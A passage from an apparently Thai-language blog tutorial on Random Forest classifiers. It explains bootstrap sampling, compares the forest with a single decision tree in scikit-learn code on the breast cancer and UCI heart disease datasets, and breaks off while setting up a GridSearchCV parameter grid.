&#xE14;&#xE31;&#xE07;&#xE19;&#xE35;&#xE49;</p><p>[1, 2, 3, 4, 5]</p><p>&#xE01;&#xE32;&#xE23;&#xE2A;&#xE38;&#xE48;&#xE21;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE41;&#xE1A;&#xE1A; Bootstrap</p><ol><li>&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01;&#xE15;&#xE31;&#xE27;&#xE40;&#xE25;&#xE02;&#xE08;&#xE32;&#xE01;&#xE0A;&#xE38;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE15;&#xE49;&#xE19;&#xE09;&#xE1A;&#xE31;&#xE1A;&#xE41;&#xE1A;&#xE1A;&#xE2A;&#xE38;&#xE48;&#xE21; 1 &#xE15;&#xE31;&#xE27;</li><li>&#xE19;&#xE33;&#xE15;&#xE31;&#xE27;&#xE40;&#xE25;&#xE02;&#xE17;&#xE35;&#xE48;&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01;&#xE44;&#xE27;&#xE49;&#xE1A;&#xE31;&#xE19;&#xE17;&#xE36;&#xE01;&#xE25;&#xE07;&#xE43;&#xE19;&#xE0A;&#xE38;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE43;&#xE2B;&#xE21;&#xE48;</li><li>&#xE04;&#xE37;&#xE19;&#xE15;&#xE31;&#xE27;&#xE40;&#xE25;&#xE02;&#xE17;&#xE35;&#xE48;&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01;&#xE25;&#xE07;&#xE43;&#xE19;&#xE0A;&#xE38;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE15;&#xE49;&#xE19;&#xE09;&#xE1A;&#xE31;&#xE1A; (&#xE43;&#xE2A;&#xE48;&#xE04;&#xE37;&#xE19;)</li><li>&#xE17;&#xE33;&#xE0B;&#xE49;&#xE33;&#xE02;&#xE31;&#xE49;&#xE19;&#xE15;&#xE2D;&#xE19;&#xE17;&#xE35;&#xE48; 1-3 &#xE08;&#xE19;&#xE01;&#xE27;&#xE48;&#xE32;&#xE08;&#xE30;&#xE44;&#xE14;&#xE49;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE17;&#xE48;&#xE32;&#xE01;&#xE31;&#xE1A;&#xE0A;&#xE38;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE15;&#xE49;&#xE19;&#xE09;&#xE1A;&#xE31;&#xE1A;</li></ol><p>&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;&#xE17;&#xE35;&#xE48;&#xE2D;&#xE32;&#xE08;&#xE40;&#xE01;&#xE34;&#xE14;&#xE02;&#xE36;&#xE49;&#xE19;&#xE08;&#xE32;&#xE01;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE38;&#xE48;&#xE21;&#xE41;&#xE1A;&#xE1A; Bootstrap</p><p>&#xE0A;&#xE38;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE22;&#xE48;&#xE2D;&#xE22;&#xE17;&#xE35;&#xE48; 1 [1, 3, 3, 5, 2]<br>&#xE0A;&#xE38;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE22;&#xE48;&#xE2D;&#xE22;&#xE17;&#xE35;&#xE48; 2 [4, 2, 1, 1, 5]<br>&#xE0A;&#xE38;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE22;&#xE48;&#xE2D;&#xE22;&#xE17;&#xE35;&#xE48; 3 [2, 4, 4, 3, 5]</p><p>&#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE0A;&#xE38;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE22;&#xE48;&#xE2D;&#xE22;&#xE21;&#xE35;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE17;&#xE48;&#xE32;&#xE01;&#xE31;&#xE1A;&#xE0A;&#xE38;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE15;&#xE49;&#xE19;&#xE09;&#xE1A;&#xE31;&#xE1A; (5 &#xE15;&#xE31;&#xE27;) &#xE42;&#xE14;&#xE22;&#xE15;&#xE31;&#xE27;&#xE40;&#xE25;&#xE02;&#xE1A;&#xE32;&#xE07;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE32;&#xE08;&#xE1B;&#xE23;&#xE32;&#xE01;&#xE0F;&#xE0B;&#xE49;&#xE33;&#xE43;&#xE19;&#xE0A;&#xE38;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE22;&#xE48;&#xE2D;&#xE22;&#xE40;&#xE14;&#xE35;&#xE22;&#xE27;&#xE01;&#xE31;&#xE19; &#xE41;&#xE25;&#xE30;&#xE1A;&#xE32;&#xE07;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE32;&#xE08;&#xE44;&#xE21;&#xE48;&#xE16;&#xE39;&#xE01;&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01;&#xE40;&#xE25;&#xE22;&#xE43;&#xE19;&#xE1A;&#xE32;&#xE07;&#xE0A;&#xE38;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE22;&#xE48;&#xE2D;&#xE22;</p><p>&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE19;&#xE32;&#xE22;&#xE1C;&#xE25; (Prediction) &#xE41;&#xE1A;&#xE1A;<strong>&#xE01;&#xE32;&#xE23;&#xE08;&#xE33;&#xE41;&#xE19;&#xE01;&#xE1B;&#xE23;&#xE30;&#xE40;&#xE20;&#xE17; (Classification) &#xE08;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE01;&#xE32;&#xE23;&#xE42;&#xE2B;&#xE27;&#xE15;&#xE40;&#xE2A;&#xE35;&#xE22;&#xE07;&#xE02;&#xE49;&#xE32;&#xE07;&#xE21;&#xE32;&#xE01;</strong> &#xE2A;&#xE48;&#xE27;&#xE19;&#xE01;<strong>&#xE32;&#xE23;&#xE17;&#xE33;&#xE19;&#xE32;&#xE22;&#xE41;&#xE1A;&#xE1A; Regression &#xE08;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE48;&#xE32;&#xE40;&#xE09;&#xE25;&#xE35;&#xE48;&#xE22;&#xE02;&#xE2D;&#xE07;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;&#xE08;&#xE32;&#xE01;&#xE17;&#xE38;&#xE01; Model</strong></p><p>Random Forest &#xE21;&#xE31;&#xE01;&#xE43;&#xE2B;&#xE49;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;&#xE17;&#xE35;&#xE48;&#xE41;&#xE21;&#xE48;&#xE19;&#xE22;&#xE33;&#xE01;&#xE27;&#xE48;&#xE32; Decision Tree &#xE40;&#xE14;&#xE35;&#xE48;&#xE22;&#xE27; &#xE46; &#xE41;&#xE25;&#xE30;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE25;&#xE14;&#xE1B;&#xE31;&#xE0D;&#xE2B;&#xE32; Overfitting &#xE44;&#xE14;&#xE49;&#xE14;&#xE35;&#xE01;&#xE27;&#xE48;&#xE32; Decision Tree &#xE15;&#xE49;&#xE19;&#xE40;&#xE14;&#xE35;&#xE22;&#xE27; &#xE23;&#xE27;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07;&#xE08;&#xE32;&#xE01;&#xE01;&#xE32;&#xE23;&#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2B;&#xE25;&#xE32;&#xE01;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE02;&#xE2D;&#xE07; Decision Tree &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE21;&#xE31;&#xE19;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE08;&#xE31;&#xE1A;&#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A;&#xE17;&#xE35;&#xE48;&#xE0B;&#xE31;&#xE1A;&#xE0B;&#xE49;&#xE2D;&#xE19;&#xE44;&#xE14;&#xE49;&#xE14;&#xE35;&#xE02;&#xE36;&#xE49;&#xE19;</p><pre><code>import numpy as np
import pandas as pd
from sklearn.datasets import load_breast_cancer
from sklearn.model_selection import train_test_split
from sklearn.ensemble import RandomForestClassifier
from sklearn.metrics import accuracy_score, classification_report, confusion_matrix
import matplotlib.pyplot as plt
import seaborn as sns</code></pre><pre><code># &#xE42;&#xE2B;&#xE25;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;
data = load_breast_cancer()
X = pd.DataFrame(data.data, columns=data.feature_names)
y = pd.Series(data.target, name=&apos;target&apos;)</code></pre><pre><code># &#xE41;&#xE1A;&#xE48;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE0A;&#xE38;&#xE14;&#xE1D;&#xE36;&#xE01;&#xE2A;&#xE2D;&#xE19;&#xE41;&#xE25;&#xE30;&#xE0A;&#xE38;&#xE14;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=2)</code></pre><pre><code># &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE41;&#xE25;&#xE30;&#xE1D;&#xE36;&#xE01;&#xE2A;&#xE2D;&#xE19; Model Random Forest
rf_classifier = RandomForestClassifier(n_estimators=100, random_state=2)
rf_classifier.fit(X_train, y_train)</code></pre><pre><code># &#xE17;&#xE33;&#xE19;&#xE32;&#xE22;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;
y_pred = rf_classifier.predict(X_test)</code></pre><pre><code># &#xE1B;&#xE23;&#xE30;&#xE40;&#xE21;&#xE34;&#xE19;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;&#xE02;&#xE2D;&#xE07; Model
print(&quot;Accuracy:&quot;, accuracy_score(y_test, y_pred))
print(&quot;\nClassification Report:\n&quot;, classification_report(y_test, y_pred))</code></pre><p>Accuracy: 0.9473684210526315</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/09/Screenshot-2024-09-08-at-10.49.28-PM.png" class="kg-image" alt loading="lazy" width="1674" height="390" srcset="https://blog.pjjop.org/content/images/size/w600/2024/09/Screenshot-2024-09-08-at-10.49.28-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/09/Screenshot-2024-09-08-at-10.49.28-PM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/09/Screenshot-2024-09-08-at-10.49.28-PM.png 1600w, https://blog.pjjop.org/content/images/2024/09/Screenshot-2024-09-08-at-10.49.28-PM.png 1674w" sizes="(min-width: 720px) 720px"></figure><pre><code># &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Confusion Matrix
cm = confusion_matrix(y_test, y_pred)
plt.figure(figsize=(10,7))
sns.heatmap(cm, annot=True, fmt=&apos;d&apos;, cmap=&apos;Blues&apos;)
plt.title(&apos;Confusion Matrix&apos;)
plt.ylabel(&apos;Actual Label&apos;)
plt.xlabel(&apos;Predicted Label&apos;)
plt.show()</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/09/Unknown-7.png" class="kg-image" alt loading="lazy" width="776" height="624" srcset="https://blog.pjjop.org/content/images/size/w600/2024/09/Unknown-7.png 600w, https://blog.pjjop.org/content/images/2024/09/Unknown-7.png 776w" sizes="(min-width: 720px) 720px"></figure><pre><code># &#xE41;&#xE2A;&#xE14;&#xE07;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE02;&#xE2D;&#xE07; Feature
feature_importance = pd.DataFrame({&apos;feature&apos;: data.feature_names, &apos;importance&apos;: rf_classifier.feature_importances_})
feature_importance = feature_importance.sort_values(&apos;importance&apos;, ascending=False).head(10)
plt.figure(figsize=(10,6))
sns.barplot(x=&apos;importance&apos;, y=&apos;feature&apos;, data=feature_importance)
plt.title(&apos;Top 10 Important Features&apos;)
plt.tight_layout()
plt.show()</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/09/Unknown-8.png" class="kg-image" alt loading="lazy" width="990" height="590" srcset="https://blog.pjjop.org/content/images/size/w600/2024/09/Unknown-8.png 600w, https://blog.pjjop.org/content/images/2024/09/Unknown-8.png 990w" sizes="(min-width: 720px) 720px"></figure><pre><code># &#xE40;&#xE1B;&#xE23;&#xE35;&#xE22;&#xE1A;&#xE40;&#xE17;&#xE35;&#xE22;&#xE1A;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;&#xE01;&#xE31;&#xE1A; Decision Tree
from sklearn.tree import DecisionTreeClassifier

dt_classifier = DecisionTreeClassifier(random_state=2)
dt_classifier.fit(X_train, y_train)
dt_pred = dt_classifier.predict(X_test)

print(&quot;\nRandom Forest Accuracy:&quot;, accuracy_score(y_test, y_pred))
print(&quot;Decision Tree Accuracy:&quot;, accuracy_score(y_test, dt_pred))</code></pre><p>Random Forest Accuracy: 0.9473684210526315<br>Decision Tree Accuracy: 0.9122807017543859</p><pre><code># &#xE40;&#xE1B;&#xE23;&#xE35;&#xE22;&#xE1A;&#xE40;&#xE17;&#xE35;&#xE22;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE19;&#xE32;&#xE22;&#xE02;&#xE2D;&#xE07; Random Forest &#xE41;&#xE25;&#xE30; Decision Tree
comparison = pd.DataFrame({&apos;Actual&apos;: y_test, &apos;Random Forest&apos;: y_pred, &apos;Decision Tree&apos;: dt_pred})
print(&quot;\nSample Predictions:&quot;)
print(comparison.sample(10))</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/09/Screenshot-2024-09-08-at-10.51.01-PM.png" class="kg-image" alt loading="lazy" width="1452" height="428" srcset="https://blog.pjjop.org/content/images/size/w600/2024/09/Screenshot-2024-09-08-at-10.51.01-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/09/Screenshot-2024-09-08-at-10.51.01-PM.png 1000w, https://blog.pjjop.org/content/images/2024/09/Screenshot-2024-09-08-at-10.51.01-PM.png 1452w" sizes="(min-width: 720px) 720px"></figure><p><strong>&#xE2A;&#xE23;&#xE38;&#xE1B;&#xE01;&#xE23;&#xE30;&#xE1A;&#xE27;&#xE19;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Random Forest</strong></p><ol><li>&#xE2A;&#xE38;&#xE48;&#xE21;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE14;&#xE49;&#xE27;&#xE22;&#xE27;&#xE34;&#xE18;&#xE35; Bootstrap (&#xE01;&#xE32;&#xE23;&#xE2A;&#xE38;&#xE48;&#xE21;&#xE41;&#xE1A;&#xE1A;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE41;&#xE17;&#xE19;)</li><li>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Decision Tree &#xE08;&#xE32;&#xE01;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE38;&#xE48;&#xE21;&#xE44;&#xE14;&#xE49;&#xE42;&#xE14;&#xE22;&#xE43;&#xE19;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30; Node &#xE08;&#xE30;&#xE2A;&#xE38;&#xE48;&#xE21;&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01;&#xE04;&#xE38;&#xE13;&#xE25;&#xE31;&#xE01;&#xE29;&#xE13;&#xE30; (Feature) &#xE21;&#xE32;&#xE43;&#xE0A;&#xE49;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE41;&#xE1A;&#xE48;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;</li><li>&#xE17;&#xE33;&#xE0B;&#xE49;&#xE33;&#xE02;&#xE31;&#xE49;&#xE19;&#xE15;&#xE2D;&#xE19;&#xE17;&#xE35;&#xE48; 1 &#xE41;&#xE25;&#xE30; 2 &#xE08;&#xE19;&#xE44;&#xE14;&#xE49;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19; Tree &#xE15;&#xE32;&#xE21;&#xE17;&#xE35;&#xE48;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;</li><li>&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE19;&#xE32;&#xE22;&#xE43;&#xE0A;&#xE49;&#xE01;&#xE32;&#xE23;&#xE42;&#xE2B;&#xE27;&#xE15;&#xE40;&#xE2A;&#xE35;&#xE22;&#xE07;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE43;&#xE2B;&#xE0D;&#xE48; (&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; Classification) &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE04;&#xE48;&#xE32;&#xE40;&#xE09;&#xE25;&#xE35;&#xE48;&#xE22; (&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; Regression) &#xE08;&#xE32;&#xE01;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;&#xE02;&#xE2D;&#xE07; Tree &#xE17;&#xE38;&#xE01;&#xE15;&#xE49;&#xE19;</li></ol><p><strong>&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE31;&#xE1A;&#xE41;&#xE15;&#xE48;&#xE07; Parameter &#xE17;&#xE35;&#xE48;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;</strong></p><ol><li><strong>n_estimators</strong> &#xE04;&#xE37;&#xE2D; &#xE08;&#xE33;&#xE19;&#xE27;&#xE19; Decision Tree &#xE43;&#xE19; Random Forest</li><li><strong>max_depth</strong> &#xE04;&#xE37;&#xE2D; &#xE04;&#xE27;&#xE32;&#xE21;&#xE25;&#xE36;&#xE01;&#xE2A;&#xE39;&#xE07;&#xE2A;&#xE38;&#xE14;&#xE02;&#xE2D;&#xE07;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30; Tree</li><li><strong>min_samples_split</strong> &#xE04;&#xE37;&#xE2D; &#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE02;&#xE31;&#xE49;&#xE19;&#xE15;&#xE48;&#xE33;&#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE41;&#xE1A;&#xE48;&#xE07; Node &#xE20;&#xE32;&#xE22;&#xE43;&#xE19;</li><li><strong>min_samples_leaf</strong> &#xE04;&#xE37;&#xE2D; &#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE02;&#xE31;&#xE49;&#xE19;&#xE15;&#xE48;&#xE33;&#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35;&#xE43;&#xE19;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30; Leaf Node</li><li><strong>max_features</strong> &#xE04;&#xE37;&#xE2D; &#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE04;&#xE38;&#xE13;&#xE25;&#xE31;&#xE01;&#xE29;&#xE13;&#xE30;&#xE17;&#xE35;&#xE48;&#xE1E;&#xE34;&#xE08;&#xE32;&#xE23;&#xE13;&#xE32;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE2B;&#xE32;&#xE01;&#xE32;&#xE23;&#xE41;&#xE1A;&#xE48;&#xE07;&#xE17;&#xE35;&#xE48;&#xE14;&#xE35;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE38;&#xE14;</li></ol><p>&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE0A;&#xE38;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; <strong>Heart Disease</strong> &#xE08;&#xE32;&#xE01; UCI Machine Learning Repository &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Random Forest &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE19;&#xE32;&#xE22;&#xE04;&#xE27;&#xE32;&#xE21;&#xE40;&#xE2A;&#xE35;&#xE48;&#xE22;&#xE07;&#xE02;&#xE2D;&#xE07;&#xE42;&#xE23;&#xE04;&#xE2B;&#xE31;&#xE27;&#xE43;&#xE08;</p><pre><code>import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
import seaborn as sns
from sklearn.model_selection import train_test_split, GridSearchCV
from sklearn.ensemble import RandomForestClassifier
from sklearn.metrics import accuracy_score, confusion_matrix, classification_report, roc_curve, auc
from sklearn.preprocessing import StandardScaler</code></pre><pre><code># &#xE42;&#xE2B;&#xE25;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;
url = &quot;https://archive.ics.uci.edu/ml/machine-learning-databases/heart-disease/processed.cleveland.data&quot;
columns = [&quot;age&quot;, &quot;sex&quot;, &quot;cp&quot;, &quot;trestbps&quot;, &quot;chol&quot;, &quot;fbs&quot;, &quot;restecg&quot;, &quot;thalach&quot;, &quot;exang&quot;, &quot;oldpeak&quot;, &quot;slope&quot;, &quot;ca&quot;, &quot;thal&quot;, &quot;num&quot;]
data = pd.read_csv(url, names=columns, na_values=&quot;?&quot;)
</code></pre><pre><code>data.shape</code></pre><p>(303, 14)</p><pre><code>data.head()</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/09/Screenshot-2024-09-09-at-5.50.20-AM.png" class="kg-image" alt loading="lazy" width="1540" height="382" srcset="https://blog.pjjop.org/content/images/size/w600/2024/09/Screenshot-2024-09-09-at-5.50.20-AM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/09/Screenshot-2024-09-09-at-5.50.20-AM.png 1000w, https://blog.pjjop.org/content/images/2024/09/Screenshot-2024-09-09-at-5.50.20-AM.png 1540w" sizes="(min-width: 720px) 720px"></figure><pre><code># &#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE04;&#xE48;&#xE32;&#xE17;&#xE35;&#xE48;&#xE2B;&#xE32;&#xE22;&#xE44;&#xE1B;
data = data.dropna()</code></pre><pre><code># &#xE41;&#xE1B;&#xE25;&#xE07; Column &#xE40;&#xE1B;&#xE49;&#xE32;&#xE2B;&#xE21;&#xE32;&#xE22;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE1B;&#xE47;&#xE19; Binary (0 = &#xE44;&#xE21;&#xE48;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE42;&#xE23;&#xE04;&#xE2B;&#xE31;&#xE27;&#xE43;&#xE08;, 1 = &#xE40;&#xE1B;&#xE47;&#xE19;&#xE42;&#xE23;&#xE04;&#xE2B;&#xE31;&#xE27;&#xE43;&#xE08;)
data[&quot;num&quot;] = (data[&quot;num&quot;] &gt; 0).astype(int)</code></pre><pre><code># &#xE41;&#xE22;&#xE01; Feature &#xE41;&#xE25;&#xE30; target
X = data.drop(&quot;num&quot;, axis=1)
y = data[&quot;num&quot;]</code></pre><pre><code># &#xE41;&#xE1A;&#xE48;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE0A;&#xE38;&#xE14;&#xE1D;&#xE36;&#xE01;&#xE2A;&#xE2D;&#xE19;&#xE41;&#xE25;&#xE30;&#xE0A;&#xE38;&#xE14;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=2)</code></pre><pre><code># &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE41;&#xE25;&#xE30;&#xE1D;&#xE36;&#xE01;&#xE2A;&#xE2D;&#xE19; Model Random Forest
rf_classifier = RandomForestClassifier(n_estimators=100, random_state=2)
rf_classifier.fit(X_train, y_train)</code></pre><pre><code># &#xE17;&#xE33;&#xE19;&#xE32;&#xE22;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;
y_pred = rf_classifier.predict(X_test)</code></pre><pre><code># &#xE1B;&#xE23;&#xE30;&#xE40;&#xE21;&#xE34;&#xE19;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;&#xE02;&#xE2D;&#xE07; Model
print(&quot;Accuracy:&quot;, accuracy_score(y_test, y_pred))
print(&quot;\nClassification Report:\n&quot;, classification_report(y_test, y_pred))</code></pre><p>Accuracy: 0.8333333333333334</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/09/Screenshot-2024-09-09-at-5.54.10-AM.png" class="kg-image" alt loading="lazy" width="1490" height="350" srcset="https://blog.pjjop.org/content/images/size/w600/2024/09/Screenshot-2024-09-09-at-5.54.10-AM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/09/Screenshot-2024-09-09-at-5.54.10-AM.png 1000w, https://blog.pjjop.org/content/images/2024/09/Screenshot-2024-09-09-at-5.54.10-AM.png 1490w" sizes="(min-width: 720px) 720px"></figure><pre><code># &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Confusion Matrix
cm = confusion_matrix(y_test, y_pred)
plt.figure(figsize=(10,7))
sns.heatmap(cm, annot=True, fmt=&apos;d&apos;, cmap=&apos;Blues&apos;)
plt.title(&apos;Confusion Matrix&apos;)
plt.ylabel(&apos;Actual Label&apos;)
plt.xlabel(&apos;Predicted Label&apos;)
plt.show()</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/09/Unknown-9.png" class="kg-image" alt loading="lazy" width="776" height="624" srcset="https://blog.pjjop.org/content/images/size/w600/2024/09/Unknown-9.png 600w, https://blog.pjjop.org/content/images/2024/09/Unknown-9.png 776w" sizes="(min-width: 720px) 720px"></figure><pre><code># &#xE41;&#xE2A;&#xE14;&#xE07;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE02;&#xE2D;&#xE07; Feature
feature_importance = pd.DataFrame({&apos;feature&apos;: X.columns, &apos;importance&apos;: rf_classifier.feature_importances_})
feature_importance = feature_importance.sort_values(&apos;importance&apos;, ascending=False)
plt.figure(figsize=(10,6))
sns.barplot(x=&apos;importance&apos;, y=&apos;feature&apos;, data=feature_importance)
plt.title(&apos;Feature Importance&apos;)
plt.tight_layout()
plt.show()</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/09/Unknown-10.png" class="kg-image" alt loading="lazy" width="989" height="590" srcset="https://blog.pjjop.org/content/images/size/w600/2024/09/Unknown-10.png 600w, https://blog.pjjop.org/content/images/2024/09/Unknown-10.png 989w" sizes="(min-width: 720px) 720px"></figure><pre><code># &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; ROC Curve
y_pred_proba = rf_classifier.predict_proba(X_test)[:, 1]
fpr, tpr, _ = roc_curve(y_test, y_pred_proba)
roc_auc = auc(fpr, tpr)

plt.figure(figsize=(8, 6))
plt.plot(fpr, tpr, color=&apos;darkorange&apos;, lw=2, label=f&apos;ROC curve (AUC = {roc_auc:.2f})&apos;)
plt.plot([0, 1], [0, 1], color=&apos;navy&apos;, lw=2, linestyle=&apos;--&apos;)
plt.xlim([0.0, 1.0])
plt.ylim([0.0, 1.05])
plt.xlabel(&apos;False Positive Rate&apos;)
plt.ylabel(&apos;True Positive Rate&apos;)
plt.title(&apos;Receiver Operating Characteristic (ROC) Curve&apos;)
plt.legend(loc=&quot;lower right&quot;)
plt.show()</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/09/Unknown-11.png" class="kg-image" alt loading="lazy" width="702" height="547" srcset="https://blog.pjjop.org/content/images/size/w600/2024/09/Unknown-11.png 600w, https://blog.pjjop.org/content/images/2024/09/Unknown-11.png 702w"></figure><pre><code># &#xE1B;&#xE23;&#xE31;&#xE1A;&#xE41;&#xE15;&#xE48;&#xE07; Parameter &#xE14;&#xE49;&#xE27;&#xE22; GridSearchCV
param_grid = {
    &apos;n_estimators&apos;: [100, 200, 300],
    &apos;max_depth&apos;: [5, 10, None],
    &apos;min_samples_split&apos;: [2, 5, 10],
